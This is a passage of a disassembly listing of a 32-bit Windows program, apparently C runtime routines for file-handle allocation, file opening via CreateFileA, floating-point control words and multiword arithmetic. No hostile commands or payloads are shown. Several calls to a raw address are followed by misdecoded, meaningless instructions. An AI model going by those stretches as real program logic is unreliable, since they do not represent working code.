loc_41B3BC: ; CODE XREF: seg000:0041B322j
; seg000:0041B357j ...
xor eax, eax
loc_41B3BE: ; CODE XREF: seg000:0041B3BAj
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41B3D0 proc near ; CODE XREF: sub_41B5EA:loc_41B762p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_45FB20
loc_41B3DF: ; CODE XREF: sub_41B3D0+48j
mov eax, [ecx]
test eax, eax
jz short loc_41B41C
lea edx, [eax+100h]
loc_41B3EB: ; CODE XREF: sub_41B3D0+28j
cmp eax, edx
jnb short loc_41B40B
test byte ptr [eax+4], 1
jz short loc_41B3FA
add eax, 8
jmp short loc_41B3EB
; ---------------------------------------------------------------------------
loc_41B3FA: ; CODE XREF: sub_41B3D0+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B45F
loc_41B40B: ; CODE XREF: sub_41B3D0+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_45FC20
jl short loc_41B3DF
jmp short loc_41B45F
; ---------------------------------------------------------------------------
loc_41B41C: ; CODE XREF: sub_41B3D0+13j
mov esi, 100h
push esi
call sub_413E5F
test eax, eax
pop ecx
jz short loc_41B45F
add ds:dword_45FC20, 20h
lea ecx, ds:45FB20h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41B442: ; CODE XREF: sub_41B3D0+88j
cmp eax, edx
jnb short loc_41B45A
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41B442
; ---------------------------------------------------------------------------
loc_41B45A: ; CODE XREF: sub_41B3D0+74j
shl edi, 5
mov ebx, edi
loc_41B45F: ; CODE XREF: sub_41B3D0+39j
; sub_41B3D0+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41B3D0 endp
; ---------------------------------------------------------------------------
loc_41B465: ; CODE XREF: sub_41B5EA+1F4p
mov eax, [esp+4]
push esi
cmp eax, ds:dword_45FC20
push edi
jnb short loc_41B4C5
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:45FB20h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41B4C5
cmp ds:dword_42D0E4, 1
push ebx
mov ebx, [esp+14h]
jnz short near ptr loc_41B4BA+1
sub eax, 0
jz short loc_41B4B2
dec eax
jz short loc_41B4AD
dec eax
jnz short near ptr loc_41B4BA+1
push ebx
push 0FFFFFFF4h
jmp short loc_41B4B5
; ---------------------------------------------------------------------------
loc_41B4AD: ; CODE XREF: seg000:0041B4A3j
push ebx
push 0FFFFFFF5h
jmp short loc_41B4B5
; ---------------------------------------------------------------------------
loc_41B4B2: ; CODE XREF: seg000:0041B4A0j
push ebx
push 0FFFFFFF6h
loc_41B4B5: ; CODE XREF: seg000:0041B4ABj
; seg000:0041B4B0j
call near ptr 0A70000h
loc_41B4BA: ; CODE XREF: seg000:0041B49Bj
; seg000:0041B4A6j
and [ebx+301C8907h], ecx
xor eax, eax
pop ebx
jmp short loc_41B4D9
; ---------------------------------------------------------------------------
loc_41B4C5: ; CODE XREF: seg000:0041B471j
; seg000:0041B48Dj
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
or eax, 0FFFFFFFFh
loc_41B4D9: ; CODE XREF: seg000:0041B4C3j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B4DC: ; CODE XREF: sub_41665B+7Cp
mov ecx, [esp+4]
push esi
cmp ecx, ds:dword_45FC20
push edi
jnb short loc_41B53F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:45FB20h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41B53F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41B53F
cmp ds:dword_42D0E4, 1
jnz short near ptr loc_41B534+1
xor eax, eax
sub ecx, eax
jz short loc_41B52C
dec ecx
jz short loc_41B527
dec ecx
jnz short near ptr loc_41B534+1
push eax
push 0FFFFFFF4h
jmp short loc_41B52F
; ---------------------------------------------------------------------------
loc_41B527: ; CODE XREF: seg000:0041B51Dj
push eax
push 0FFFFFFF5h
jmp short loc_41B52F
; ---------------------------------------------------------------------------
loc_41B52C: ; CODE XREF: seg000:0041B51Aj
push eax
push 0FFFFFFF6h
loc_41B52F: ; CODE XREF: seg000:0041B525j
; seg000:0041B52Aj
call near ptr 0A70000h
loc_41B534: ; CODE XREF: seg000:0041B514j
; seg000:0041B520j
mov eax, 0C83078Bh
xor bh, bh
xor eax, eax
jmp short loc_41B553
; ---------------------------------------------------------------------------
loc_41B53F: ; CODE XREF: seg000:0041B4E8j
; seg000:0041B506j ...
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
or eax, 0FFFFFFFFh
loc_41B553: ; CODE XREF: seg000:0041B53Dj
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_41B556 proc near ; CODE XREF: sub_41665B+32p
; sub_41665B+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_45FC20
jnb short loc_41B57E
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_45FB20[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41B57E
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41B57E: ; CODE XREF: sub_41B556+Aj
; sub_41B556+23j
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
or eax, 0FFFFFFFFh
retn
sub_41B556 endp
; =============== S U B R O U T I N E =======================================
sub_41B593 proc near ; CODE XREF: sub_416739+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_45FC20
jnb short loc_41B5DC
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, ds:dword_45FB20[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41B5DC
push eax
call sub_41B556
pop ecx
push eax
call near ptr 0A70000h
in al, 85h
sal byte ptr [ebp+8], 0FFh
adc eax, offset dword_41F068
jmp short loc_41B5D3
; ---------------------------------------------------------------------------
xor eax, eax
loc_41B5D3: ; CODE XREF: sub_41B593+3Cj
test eax, eax
jz short locret_41B5E9
mov ds:dword_45E808, eax
loc_41B5DC: ; CODE XREF: sub_41B593+Aj
; sub_41B593+22j
mov ds:dword_45E804, 9
or eax, 0FFFFFFFFh
locret_41B5E9: ; CODE XREF: sub_41B593+42j
retn
sub_41B593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B5EA proc near ; CODE XREF: sub_416910+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_561B75B8 = byte ptr 561B75C0h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41B610
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41B61B
; ---------------------------------------------------------------------------
loc_41B610: ; CODE XREF: sub_41B5EA+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41B61B: ; CODE XREF: sub_41B5EA+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41B635
test ch, 40h
jnz short loc_41B631
cmp ds:dword_45EAD0, eax
jz short loc_41B635
loc_41B631: ; CODE XREF: sub_41B5EA+3Dj
or [ebp+var_1], 80h
loc_41B635: ; CODE XREF: sub_41B5EA+38j
; sub_41B5EA+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41B66D
dec eax
jz short loc_41B664
dec eax
jz short loc_41B65B
loc_41B646: ; CODE XREF: sub_41B5EA+9Fj
; sub_41B5EA+E8j ...
mov ds:dword_45E804, 16h
mov ds:dword_45E808, ebx
jmp loc_41B880
; ---------------------------------------------------------------------------
loc_41B65B: ; CODE XREF: sub_41B5EA+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41B674
; ---------------------------------------------------------------------------
loc_41B664: ; CODE XREF: sub_41B5EA+57j
mov [ebp+var_C], 40000000h
jmp short loc_41B674
; ---------------------------------------------------------------------------
loc_41B66D: ; CODE XREF: sub_41B5EA+54j
mov [ebp+var_C], 80000000h
loc_41B674: ; CODE XREF: sub_41B5EA+78j
; sub_41B5EA+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41B6A2
cmp eax, 20h
jz short loc_41B699
cmp eax, 30h
jz short loc_41B690
cmp eax, 40h
jnz short loc_41B646
mov [ebp+var_10], esi
jmp short loc_41B6A5
; ---------------------------------------------------------------------------
loc_41B690: ; CODE XREF: sub_41B5EA+9Aj
mov [ebp+var_10], 2
jmp short loc_41B6A5
; ---------------------------------------------------------------------------
loc_41B699: ; CODE XREF: sub_41B5EA+95j
mov [ebp+var_10], 1
jmp short loc_41B6A5
; ---------------------------------------------------------------------------
loc_41B6A2: ; CODE XREF: sub_41B5EA+90j
mov [ebp+var_10], ebx
loc_41B6A5: ; CODE XREF: sub_41B5EA+A4j
; sub_41B5EA+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41B6EF
jz short loc_41B6EA
cmp ecx, ebx
jz short loc_41B6EA
cmp ecx, edi
jz short loc_41B6E1
cmp ecx, 200h
jz short loc_41B708
cmp ecx, 300h
jnz loc_41B646
mov [ebp+var_8], 2
jmp short loc_41B718
; ---------------------------------------------------------------------------
loc_41B6E1: ; CODE XREF: sub_41B5EA+D8j
mov [ebp+var_8], 4
jmp short loc_41B718
; ---------------------------------------------------------------------------
loc_41B6EA: ; CODE XREF: sub_41B5EA+D0j
; sub_41B5EA+D4j
mov [ebp+var_8], esi
jmp short loc_41B718
; ---------------------------------------------------------------------------
loc_41B6EF: ; CODE XREF: sub_41B5EA+CEj
cmp ecx, 500h
jz short loc_41B711
cmp ecx, 600h
jz short loc_41B708
cmp ecx, edx
jz short loc_41B711
jmp loc_41B646
; ---------------------------------------------------------------------------
loc_41B708: ; CODE XREF: sub_41B5EA+E0j
; sub_41B5EA+113j
mov [ebp+var_8], 5
jmp short loc_41B718
; ---------------------------------------------------------------------------
loc_41B711: ; CODE XREF: sub_41B5EA+10Bj
; sub_41B5EA+117j
mov [ebp+var_8], 1
loc_41B718: ; CODE XREF: sub_41B5EA+F5j
; sub_41B5EA+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41B737
mov ecx, ds:dword_45E80C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41B737
push 1
pop esi
loc_41B737: ; CODE XREF: sub_41B5EA+138j
; sub_41B5EA+148j
test al, 40h
jz short loc_41B745
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41B745: ; CODE XREF: sub_41B5EA+14Fj
test ah, 10h
jz short loc_41B74C
or esi, edi
loc_41B74C: ; CODE XREF: sub_41B5EA+15Ej
test al, 20h
jz short loc_41B758
or esi, 8000000h
jmp short loc_41B762
; ---------------------------------------------------------------------------
loc_41B758: ; CODE XREF: sub_41B5EA+164j
test al, 10h
jz short loc_41B762
or esi, 10000000h
loc_41B762: ; CODE XREF: sub_41B5EA+16Cj
; sub_41B5EA+170j
call sub_41B3D0
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41B783
and ds:dword_45E808, 0
mov ds:dword_45E804, 18h
jmp short loc_41B7C1
; ---------------------------------------------------------------------------
loc_41B783: ; CODE XREF: sub_41B5EA+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call ds:dword_41F078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41B7B4
push esi
call near ptr 0A70000h
cmp al, [ebp+arg_561B75B8]
call ds:dword_41F070 ; CloseHandle
loc_41B7B4: ; CODE XREF: sub_41B5EA+1B6j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
call sub_41A667
pop ecx
loc_41B7C1: ; CODE XREF: sub_41B5EA+197j
mov eax, edi
jmp loc_41B89E
; ---------------------------------------------------------------------------
cmp eax, 2
jnz short loc_41B7D3
or [ebp+var_1], 40h
jmp short loc_41B7DC
; ---------------------------------------------------------------------------
loc_41B7D3: ; CODE XREF: sub_41B5EA+1E1j
cmp eax, 3
jnz short loc_41B7DC
or [ebp+var_1], 8
loc_41B7DC: ; CODE XREF: sub_41B5EA+1E7j
; sub_41B5EA+1ECj
push esi
push ebx
call loc_41B465
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:45FB20h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41B885
test al, 80h
jz short loc_41B885
test byte ptr [ebp+arg_4], 2
jz short loc_41B885
push 2
push 0FFFFFFFFh
push ebx
call sub_419C0F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41B83A
cmp ds:dword_45E808, 83h
jz short loc_41B885
jmp short loc_41B879
; ---------------------------------------------------------------------------
loc_41B83A: ; CODE XREF: sub_41B5EA+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_419A19
add esp, 0Ch
test eax, eax
jnz short loc_41B867
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41B867
push [ebp+var_10]
push ebx
call sub_41C8DC
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B879
loc_41B867: ; CODE XREF: sub_41B5EA+265j
; sub_41B5EA+26Bj
push 0
push 0
push ebx
call sub_419C0F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41B885
loc_41B879: ; CODE XREF: sub_41B5EA+24Ej
; sub_41B5EA+27Bj
push ebx
call sub_41665B
pop ecx
loc_41B880: ; CODE XREF: sub_41B5EA+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41B89E
; ---------------------------------------------------------------------------
loc_41B885: ; CODE XREF: sub_41B5EA+221j
; sub_41B5EA+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41B89C
test byte ptr [ebp+arg_4], 8
jz short loc_41B89C
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41B89C: ; CODE XREF: sub_41B5EA+29Fj
; sub_41B5EA+2A5j
mov eax, ebx
loc_41B89E: ; CODE XREF: sub_41B5EA+1D9j
; sub_41B5EA+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41B5EA endp
; =============== S U B R O U T I N E =======================================
sub_41B8A3 proc near ; CODE XREF: sub_417C43+52p
xor eax, eax
retn
sub_41B8A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8A6 proc near ; CODE XREF: sub_41B8DB+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41B8F1
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41B983
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41B8A6 endp
; =============== S U B R O U T I N E =======================================
sub_41B8DB proc near ; CODE XREF: sub_417F2F+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41B8A6
pop ecx
pop ecx
retn
sub_41B8DB endp
; =============== S U B R O U T I N E =======================================
sub_41B8F1 proc near ; CODE XREF: sub_41B8A6+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41B902
push 10h
pop eax
loc_41B902: ; CODE XREF: sub_41B8F1+Cj
test bl, 4
jz short loc_41B909
or al, 8
loc_41B909: ; CODE XREF: sub_41B8F1+14j
test bl, 8
jz short loc_41B910
or al, 4
loc_41B910: ; CODE XREF: sub_41B8F1+1Bj
test bl, 10h
jz short loc_41B917
or al, 2
loc_41B917: ; CODE XREF: sub_41B8F1+22j
test bl, 20h
jz short loc_41B91E
or al, 1
loc_41B91E: ; CODE XREF: sub_41B8F1+29j
test bl, 2
jz short loc_41B928
or eax, 80000h
loc_41B928: ; CODE XREF: sub_41B8F1+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41B960
cmp edx, 400h
jz short loc_41B95D
cmp edx, 800h
jz short loc_41B959
cmp edx, esi
jnz short loc_41B960
or eax, edi
jmp short loc_41B960
; ---------------------------------------------------------------------------
loc_41B959: ; CODE XREF: sub_41B8F1+5Ej
or eax, ebp
jmp short loc_41B960
; ---------------------------------------------------------------------------
loc_41B95D: ; CODE XREF: sub_41B8F1+56j
or ah, 1
loc_41B960: ; CODE XREF: sub_41B8F1+4Ej
; sub_41B8F1+62j ...
and ecx, edi
pop esi
jz short loc_41B970
cmp ecx, ebp
jnz short loc_41B975
or eax, 10000h
jmp short loc_41B975
; ---------------------------------------------------------------------------
loc_41B970: ; CODE XREF: sub_41B8F1+72j
or eax, 20000h
loc_41B975: ; CODE XREF: sub_41B8F1+76j
; sub_41B8F1+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41B982
or eax, 40000h
locret_41B982: ; CODE XREF: sub_41B8F1+8Aj
retn
sub_41B8F1 endp
; =============== S U B R O U T I N E =======================================
sub_41B983 proc near ; CODE XREF: sub_41B8A6+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41B993
push 1
pop eax
loc_41B993: ; CODE XREF: sub_41B983+Bj
test bl, 8
jz short loc_41B99A
or al, 4
loc_41B99A: ; CODE XREF: sub_41B983+13j
test bl, 4
jz short loc_41B9A1
or al, 8
loc_41B9A1: ; CODE XREF: sub_41B983+1Aj
test bl, 2
jz short loc_41B9A8
or al, 10h
loc_41B9A8: ; CODE XREF: sub_41B983+21j
test bl, 1
jz short loc_41B9AF
or al, 20h
loc_41B9AF: ; CODE XREF: sub_41B983+28j
test ebx, 80000h
jz short loc_41B9B9
or al, 2
loc_41B9B9: ; CODE XREF: sub_41B983+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41B9E6
cmp ecx, 100h
jz short loc_41B9E3
cmp ecx, esi
jz short loc_41B9DE
cmp ecx, edx
jnz short loc_41B9E6
or ah, 0Ch
jmp short loc_41B9E6
; ---------------------------------------------------------------------------
loc_41B9DE: ; CODE XREF: sub_41B983+50j
or ah, 8
jmp short loc_41B9E6
; ---------------------------------------------------------------------------
loc_41B9E3: ; CODE XREF: sub_41B983+4Cj
or ah, 4
loc_41B9E6: ; CODE XREF: sub_41B983+44j
; sub_41B983+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41B9FC
cmp ecx, 10000h
jnz short loc_41B9FE
or eax, esi
jmp short loc_41B9FE
; ---------------------------------------------------------------------------
loc_41B9FC: ; CODE XREF: sub_41B983+6Bj
or eax, edx
loc_41B9FE: ; CODE XREF: sub_41B983+73j
; sub_41B983+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41BA0B
or ah, 10h
locret_41BA0B: ; CODE XREF: sub_41B983+83j
retn
sub_41B983 endp
; =============== S U B R O U T I N E =======================================
sub_41BA0C proc near ; CODE XREF: sub_41BAAB+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41BA51
inc esi
cmp esi, 3
jge short loc_41BA4C
lea eax, [eax+esi*4]
loc_41BA3E: ; CODE XREF: sub_41BA0C+3Ej
cmp dword ptr [eax], 0
jnz short loc_41BA51
inc esi
add eax, 4
cmp esi, 3
jl short loc_41BA3E
loc_41BA4C: ; CODE XREF: sub_41BA0C+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BA51: ; CODE XREF: sub_41BA0C+27j
; sub_41BA0C+35j
xor eax, eax
pop esi
retn
sub_41BA0C endp
; =============== S U B R O U T I N E =======================================
sub_41BA55 proc near ; CODE XREF: sub_41BAAB+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41CA22
add esp, 0Ch
dec esi
js short loc_41BAA7
lea edi, [ebx+esi*4]
loc_41BA8E: ; CODE XREF: sub_41BA55+50j
test eax, eax
jz short loc_41BAA7
push edi
push 1
push dword ptr [edi]
call sub_41CA22
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41BA8E
loc_41BAA7: ; CODE XREF: sub_41BA55+34j
; sub_41BA55+3Bj
pop edi
pop esi
pop ebx
retn
sub_41BA55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAAB proc near ; CODE XREF: sub_41BC06+81p
; sub_41BC06+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41BB0F
inc ebx
push ebx
push [ebp+arg_0]
call sub_41BA0C
pop ecx
test eax, eax
pop ecx
jnz short loc_41BB0C
push edi
push [ebp+arg_0]
call sub_41BA55
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41BB0C: ; CODE XREF: sub_41BAAB+51j
mov eax, [ebp+arg_4]
loc_41BB0F: ; CODE XREF: sub_41BAAB+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41BB2F
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41BB2F: ; CODE XREF: sub_41BAAB+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41BAAB endp
; =============== S U B R O U T I N E =======================================
sub_41BB37 proc near ; CODE XREF: sub_41BC06+75p
; sub_41BC06+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41BB45: ; CODE XREF: sub_41BB37+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41BB45
pop esi
retn
sub_41BB37 endp
; =============== S U B R O U T I N E =======================================
sub_41BB52 proc near ; CODE XREF: sub_41BC06+5Fp
; sub_41BC06+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41BB52 endp
; =============== S U B R O U T I N E =======================================
sub_41BB5E proc near ; CODE XREF: sub_41BC06+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41BB64: ; CODE XREF: sub_41BB5E+12j
cmp dword ptr [eax], 0
jnz short loc_41BB76
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41BB64
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41BB76: ; CODE XREF: sub_41BB5E+9j
xor eax, eax
retn
sub_41BB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB79 proc near ; CODE XREF: sub_41BC06+C0p
; sub_41BC06+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41BBAF: ; CODE XREF: sub_41BB79+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41BBAF
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41BBE1: ; CODE XREF: sub_41BB79+86j
cmp ebx, edi
jl short loc_41BBF4
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41BBFB
; ---------------------------------------------------------------------------
loc_41BBF4: ; CODE XREF: sub_41BB79+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41BBFB: ; CODE XREF: sub_41BB79+79j
dec ebx
sub ecx, 4
jns short loc_41BBE1
pop edi
pop esi
pop ebx
leave
retn
sub_41BB79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC06 proc near ; CODE XREF: sub_41BD72+Dp
; sub_41BD88+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41BC73
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41BB5E
test eax, eax
pop ecx
jnz loc_41BD32
lea eax, [ebp+var_C]
push eax
call sub_41BB52
pop ecx
loc_41BC6B: ; CODE XREF: sub_41BC06+E4j
push 2
loc_41BC6D: ; CODE XREF: sub_41BC06+110j
pop eax
jmp loc_41BD34
; ---------------------------------------------------------------------------
loc_41BC73: ; CODE XREF: sub_41BC06+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41BB37
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41BAAB
add esp, 10h
test eax, eax
jz short loc_41BC94
inc ebx
loc_41BC94: ; CODE XREF: sub_41BC06+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41BCAC
lea eax, [ebp+var_C]
push eax
call sub_41BB52
pop ecx
jmp short loc_41BCE8
; ---------------------------------------------------------------------------
loc_41BCAC: ; CODE XREF: sub_41BC06+98j
cmp ebx, eax
jg short loc_41BCEF
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41BB37
lea eax, [ebp+var_C]
push esi
push eax
call sub_41BB79
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41BAAB
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41BB79
add esp, 20h
loc_41BCE8: ; CODE XREF: sub_41BC06+A4j
xor esi, esi
jmp loc_41BC6B
